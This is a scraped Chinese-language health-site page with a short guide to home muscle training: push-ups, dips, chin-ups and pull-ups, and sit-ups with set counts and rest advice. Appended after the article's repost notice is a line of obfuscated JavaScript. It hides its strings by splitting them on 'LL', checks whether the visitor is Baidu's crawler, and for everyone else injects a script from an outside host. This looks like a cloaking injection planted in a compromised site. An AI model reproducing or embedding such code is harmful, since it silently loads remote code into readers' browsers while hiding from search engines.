當(dāng)前位置:首頁 > 健康 > 運(yùn)動(dòng)健身 > 正文

家里鍛煉肌肉的方式大全是什么

2017-04-17 09:01:51  來源:360常識網(wǎng)   熱度:
導(dǎo)語:有的時(shí)候想要出去鍛煉卻因?yàn)橐恍┦虑榈R了沒辦法去怎么辦?這個(gè)時(shí)候要是能在家里鍛煉就再好不過了,家里的鍛煉方式很簡單,任何一件都東西

有的時(shí)候想要出去鍛煉卻因?yàn)橐恍┦虑榈R了沒辦法去怎么辦?這個(gè)時(shí)候要是能在家里鍛煉就再好不過了,家里的鍛煉方式很簡單,任何一件都東西都能作為鍛煉的器械。在家里鍛煉不需要耽誤工作,也可以照顧到小孩子,很合適家庭婦女的,這些動(dòng)作都不復(fù)雜能堅(jiān)持下來才是關(guān)鍵,我們忽視的椅子其實(shí)也可作為健身的道具之一。

一,時(shí)間,每次40-60分鐘,不要安排太多,練一天肌肉,休息一天,休息的時(shí)間跑跑步有利增肌與保持體型。

二,練習(xí)項(xiàng)目,其實(shí)這些項(xiàng)目你應(yīng)該都知道的,但或許你并不知道它們對肌肉練習(xí)的作用。

俯臥撐,每組10-20個(gè),4-6組。專練胸肌,有人就靠它來練出一對好胸肌

雙杠臂曲伸,每組10個(gè),4-6組,這個(gè)是三頭肌殺手,絕對的。

引體向上,(反握),5-10個(gè)一組,3-5組。主練二頭肌

引體向上,(正握,就是手心向前握杠)5-10個(gè)一組,3-5組,背括肌殺手,你的倒三角體型就全靠它了。

仰臥起坐,15-25個(gè)一組,4-6組。這個(gè)就不用說了。

三,練習(xí)要求,求慢不求快,動(dòng)作要標(biāo)準(zhǔn),這樣效果才好,不標(biāo)準(zhǔn)的動(dòng)作練幾個(gè)不如標(biāo)準(zhǔn)的一個(gè)效果好。這個(gè)很關(guān)鍵。每組之間休息30-60秒。

在家里能鍛煉不用出門這大大的節(jié)約了時(shí)間,在一定程度上能幫助忙碌的人解決不能健身這個(gè)煩惱。我們很熟悉的俯臥撐還有仰臥起坐,還可以借用一張凳子做簡單的瑜伽動(dòng)作,沙發(fā)上也可以做運(yùn)動(dòng),只是往往被人們忽視。將那一張軟綿綿的沙發(fā)變成運(yùn)動(dòng)鍛煉完善身材的道具,改掉懶撒的習(xí)慣吧。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}